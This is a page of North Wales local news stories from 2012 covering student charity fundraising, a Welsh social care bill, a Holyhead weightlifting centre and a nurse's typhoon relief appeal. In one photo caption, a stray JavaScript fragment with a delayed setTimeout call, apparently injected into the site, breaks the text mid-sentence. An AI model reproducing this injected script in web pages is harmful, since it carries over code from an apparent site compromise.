Category: News

Students raise money for charity

Wrexham students are planning a charity Tenpin bowling evening next month at Tenpin at Eagles Meadow next month. James Yarwood bowls watched by, from left, Ryan Harvey, Adam Fuller, Emma Louise Humphreys, Janet Masters, sales manager at Tenpin and Robbie Newby, front of house technician.

A children’s charity has been bowled over by the generosity of students in Wrexham.

The students from Glyndwr University have organised a fund-raising event at Tenpin at the Eagles Meadow shopping centre, in Wrexham.

The party evening on Tuesday, February 7, will be one of the first events of this year‘s traditional students’ fundraising Rag Week.

According to Wrexham Student Guild Vice President Emma Humphreys the evening will be a fun night for families as well as students.

She said: “We are thrilled that Tenpin at Eagles Meadow were able to support us and help raise funds for our charity of the year.

“This year we are supporting Buttle UK, a national charity, which aims to make a real difference to the lives of children and young people in need.

“Tenpin has agreed to half-price bowling, some drinks and a DJ to help make it a real party atmosphere. We are also having party games, as well as the bowling, with plenty of prizes to be won.

“I want to encourage everyone to come down to Tenpin at Eagles Meadow and help us raise a serious amount of cash for a really worthy cause as well as helping make this year’s Rag Week an event to remember.”

Wrexham Student Guild President, Adam Fuller, says Buttle UK really is a charity worth the support of students.

He said: “The charity helps and supports young people to secure a safe and secure school environment, provides essential items for children and young people suffering in extreme circumstances and generally makes a real difference to the lives of children and young people in need.

“We asked students to nominate charities they wished to support and we actually had several who nominated Buttle UK and after looking at the charity’s ethos and programmes the decision was taken that this year Buttle UK is the charity we will support through our Rag Week.

“We held a bowling night at Tenpin, Eagles Meadow as part of Fresher Week and that proved really popular. I’m sure our Rag Week event will be even bigger and better.

“We would be grateful to any individuals or firms that would like to donate prizes for the event although I have to say Tenpin have been absolutely brilliant.”

He added: “As students here at Wrexham Glyndwr University we want to welcome the public to join us for a fun-filled party at Tenpin on Tuesday, February 7th.

“Please come down, join in and help us raise cash for such a worthy cause.”

Tenpin Sales Manager Janet Masters says the charity event will be something families can really enjoy.

She said: “We were delighted to be able to help Wrexham students as part of their Rag Week fundraising by offering them half-price bowling, some drinks and a real part atmosphere.

“We are also delighted to be able to support such a good cause as Buttle UK which does so much amazing work with disadvantaged children right across the UK.”

And Tenpin, Eagles Meadow has set Thursdays aside as their regular charity evenings.

Janet Masters added: “We will be pleased to work with any registered charity and even offer free bowling. However, I must stress we can only help registered charities and I need to have a month’s notice.

“We are keen to work with the community and charities and will do all we can to help.”

Spokesman for national charity Buttle UK, Richard Barron says he is delighted Wrexham students are supporting them through their Rag Week fundraising events.

He said: “We really are thrilled. Buttle UK has been working with children and young people across the UK since the 1950’s. Nowadays we help a lot of young people in North Wales through our small grants programme.

“There are always families who simply cannot afford a cooker, beds, a fridge or other vital household goods and we will step in when they have exhausted all the statutory bodies and avenues.

“We have also helped a number of young people, aged 18 to 25, in North Wales through our Access for the Future Programme. We try to help those who have been long-term unemployed and have few prospects of getting a job and therefore being able to support themselves.

“Through a package of financial help it might be that we provide money for new clothes for an interview or cover transport costs. Equally we may be able to pay the fees for a young person to attend vocational courses that could help them back into work.”

To donate prizes, or for further information about the fundraising bowling night, call Wrexham Students’ Guild on 01978 293225. To learn more about Tenpin’s Charity nights or to organise an event call Janet Masters on 01978 291 841.

Friday February 10th, 2012

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New social care blueprint will put an end to post code lottery in social care

Hillbury House -Mario Kreft

The new blueprint for looking after vulnerable people and children in North Wales has been hailed as the “most important development in social care for two generations”.

The Welsh Government’s Bill to radically reshape the provision of  social care will potentially save millions of pounds a year by slashing red tape, concentrating more resources on front line services.

The Bill, Sustainable Social Services for Wales: a Framework for Action, was unveiled in the Senedd by Gwenda Thomas AM, the Deputy Minister for Children and Social Services.

According to Care Forum Wales  (CFW) which represents more than 500 private social care, the historic legislation is a victory for common sense

CFW was particularly pleased that plans for a national approach to assessing the needs of vulnerable people would help to end the post code lottery in care and help to reduce pressure on the NHS.

The legislation was announced against a backdrop of cash-strapped local authorities paying “unrealistically low fees” to independent care providers.

CFW believe that a better integration of the independent sector will help to reduced bed blocking in hospitals by providing more appropriate and more cost-effective care in the community.

Mario Kreft MBE, the Chair of Care Forum Wales, said:  “We’re delighted with the legislation  because it recognises that at a time of increasing need; with dwindling resources this is a blueprint for action.

“It’s potentially the most important change to social care in two generations which is going to hopefully cut bureaucracy  and focus resources and services to where people need them.

“It enshrines in law the importance of the contribution of the independent sector in providing social care.

“At a time of austerity, this is about doing things better and more cost-effectively. It’s a victory for common sense .

“We have been stressing that we simply cannot sustain 22 different ways of commissioning services with different eligibility criteria.

“In the case of social care, we also have seen local health boards to deal with so you can be a provider in Wales with 29 contracts. It flies in the face of the current financial reality.

“We believe that this legislation has the potential to take millions of pounds worth of cost each year out of the bureaucracy.

“By streamlining the way we do things it should be possible to target our resources so that we can better provide early intervention and reablement services.

“As well as focusing resources at the sharp end of social care, the changes will also mean that  more people can remain independent at home.

“At the same time we’re hoping that those who need step up or step down facilities will not need to go to hospital and will be able to find another more appropriate service.

“The most damning failure of the current system is the lack of a national eligibility framework and portable assessments of need which led to a postcode lottery of care and huge, unnecessary pressure on the NHS.

“At Care Forum Wales, we have been calling for the proposed national framework since 1993 and we are delighted that this is a central plank of the new policy.

“The idea of having a single set of eligibility criteria that are transferrable has to be right. It defied logic to have so many different contracts when we can streamline the service.

“This blueprint sets out a new approach and the ways of working in the past are no longer acceptable or fit for purpose..

“It’s essential that local authorities work in partnership and importantly within the legal framework so that we can provide sustainable, high quality services.

“Another important element of the legislation is the commitment to the development and professionalisation of the workforce which certainly chimes with our priorities.

“To be successful, this Bill needs to put choice and dignity at the heart of everything we do.”

Thursday February 9th, 2012

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New Olympic hopes for Holyhead

Former Commonwealth Games gold medallist Ray Williams, the current Welsh national coach, has been the driving force behind the establishment of Holyhead and Anglesey Weightlifting and Fitness Centre, currently undergoing a £300,000 extension and refurbishment.

ALBANIA may not be one of the world’s top sporting nations but their seal of approval could be big news for a sports complex in Anglesey.

And if a group of weightlifters chooses Holyhead as their base in the build-up to the London Olympics it will be yet another source of pride for one man in particular.

Former Commonwealth Games gold medallist Ray Williams, the current Welsh national coach, has been the driving force behind the establishment of Holyhead and Anglesey Weightlifting
and Fitness Centre, currently undergoing a £300,000 extension and refurbishment.

Last year Chinese athletes spent a week training at the centre, which is a Centre of Excellence for the sport, but they will be going directly from Bejing to the Games in July.

However Ray, a director of the centre in Millbank, is keeping his fingers crossed that the Albanians will choose Holyhead as their training base, using accommodation at Bangor University.

With the backing of the local community and supporters from across North Wales Ray has campaigned long and hard for large-scale investment in the centre.

Now, with the extended centre about to be opened – some items of equipment are still awaited –
officials are looking to move up to another level thanks to advice and support from WINSENT (Wales Ireland Network for Social Entrepreneurship).

WINSENT is part-funded by the European Regional Development Fund (ERDF) and through the Ireland Wales Programme (INTERREG 4A), which offers professional help to social enterprises.

Ray, 52, will be a guest speaker at a conference being organised by WINSENT at the Scala Cinema and Conference Centre, in Prestatyn, on March 29.

He said that with the facilities now available his aim was to take the club onto a more professional level and through WINSENT is arranging for volunteers to attend courses on administrative aspects of the venture.

“We learned about WINSENT through Menter Mon, who have supported us, and we’re very grateful. We currently have about 80 members but hope to take it up to 150 and eventually to be able to ensure that we have some virtually full-time weightlifters,” said Ray.

“There is no doubt that good facilities can be inspirational, and as a Centre of Excellence we can
rival places such as Lilleshall and Bath,” he said.

The Holyhead club has already been visited by numerous top-class athletes including some of the
Canadian rugby team who played in the World Cup.

Ray, who was born and raised in Holyhead and returned to the town after 24 years in the Army, is
confident that many others will take advantage of the specialist facilities despite Holyhead’s relative remoteness.

“If the facilities are good enough people will be prepared to travel and that’s a good thing not only for Holyhead, which has gone through a tough time with job losses, but also for North Wales,” he said.

The Holyhead club has been a production line for the sport over the years and the current star member is Gareth Evans, who is a member of the British squad training for the Olympics in Leeds. The welterweight is also from Holyhead.

“I’d be very surprised if he wasn’t selected for London,” said Ray.

Though his enthusiasm and effort has been a key factor in seeing the project reach fruition Ray is keen to stress the contribution made by members, parents and other supporters.

“It is very much a social enterprise and we could not have done it without such a level of support from the community,” he commented.

The club premises have been closed since November while building work was taking place and details have not yet been finalized for the official opening in the next few weeks, but Ray is optimistic that a sporting celebrity will attend.

Sue Haygarth, of Consultancy Coop based in Wales, is assisting the Isle of Anglesey County Council in delivering WINSENT for social enterprises in the county.

She said: “The Holyhead Weightlifting Club has a proud record as a production line of top class weighlifters and Ray Williams is the embodiment of a social entrepreneur.

“Ray is a real inspiration and I we’re delighted that he will be one of our guest speakers at the conference in the Scala cinema and conference centre in Prestatyn on March 29.”

To find out more about WINSENT go to www.winsent.eu or email Sue Haygarth at to:winsent@denbighshire.gov.uk">winsent@denbighshire.gov.uk.

Wednesday February 8th, 2012

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Care staff help typhoon survivors

Arlene Elano who is deputy manager at Pendine Park's Bonlobdeb. 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to the disaster in her home country. Arlene, left is pictured with Arjhay Alfaro and Lumen Magno, right.

A nurse who narrowly escaped being caught up in a typhoon that killed a 1,000 people in the Philippines has launched a fund-raising campaign to help survivors.

Arlene Elana  was on her way home for a holiday when Typhoon Sendong struck, causing flash floods and landslides that devastated the town of San Francisco, in Agusan del Sur province, where she was brought up.

Now colleagues at the Pendine Park care organisation in Wrexham, North Wales, are rallying round to raise much-needed cash to help the area -  where thousand remain hungry and homeless – return to normality.

According to Arlene, the typhoon left a trail of destruction through her family’s town
although, thankfully, her own relatives, and those of her husband, survived.

She said: “My mum, sisters and and brother still live there. We set off from Wrexham for the long journey back to the Philippines  and it was while we were actually travelling that the typhoon  struck.

“To see what has happened to such a beautiful place is awful. I also visited Cagayan de Oro, the capital of my home province, and it is also terrible to see the devastation that has been caused.

“It isn’t so much the actual typhoon, it’s the mud slides and flooding that follows. The death toll is now well over 1,000 people and many children have been orphaned. It is terrible to see so many homeless children wandering around.”

“It was heartbreaking to witness such devastation. The Filipino government is now looking at where they can relocate people so they can move them away from the worst hit areas.

Arlene and her husband, Armingol, who also works at Pendine Park as a care supervisor, took their two boys with them to the Philippines to visit their respective families.

She said: “My eldest son, who is now 14, was born in the Philippines while our youngest son, who is just six, was born in Wrexham.  We stayed in the Philippines for five weeks returning on January 21st.
“In a way I am glad I went home when I did otherwise I would be worried sick about my mum and the rest of our families. At least I know they are all right and, other than a bit of roof damage and trees blown over in their gardens, they are fine.

“However, I can’t stop thinking about all the children who are now orphaned and are without homes. That’s why I have decided to try and raise some money to send back home in the hope it can help the relief effort.”

She added: “I have started a collection and we are looking at what else we can do. Perhaps a sponsored walk or swim. My colleagues here at Pendine Park are very supportive and have already said they want to help me raise some much-needed funds.

“I love living in Wrexham and really enjoy working at Pendine Park, it’s such a happy place and I have fantastic colleagues and special people to care for.

“However, there is no place quite like home and I just feel I need to do something, no matter how small, to help the Filipino people affected by this natural disaster. It really did break my heart to see children wandering the streets like ghosts.”

Bodlondeb Manager Ann Chapman said: “Arlene is a wonderful and dedicated nurse and she, and her colleagues, are determined to help her raise some funds to support the people of her homeland following the devastation caused by Typhoon Sendong.

“Anything we can do to help we will. We will come up with other fund raising ideas after the sponsored silence.
“In the meantime Arlene has started a collection so she can send what she can in support of the international effort.

“Despite her concerns for her family back home Arlene was straight back to work on her return from the Philippines but I would have expected nothing less. She really is a dedicated and caring professional.”

Wednesday February 8th, 2012

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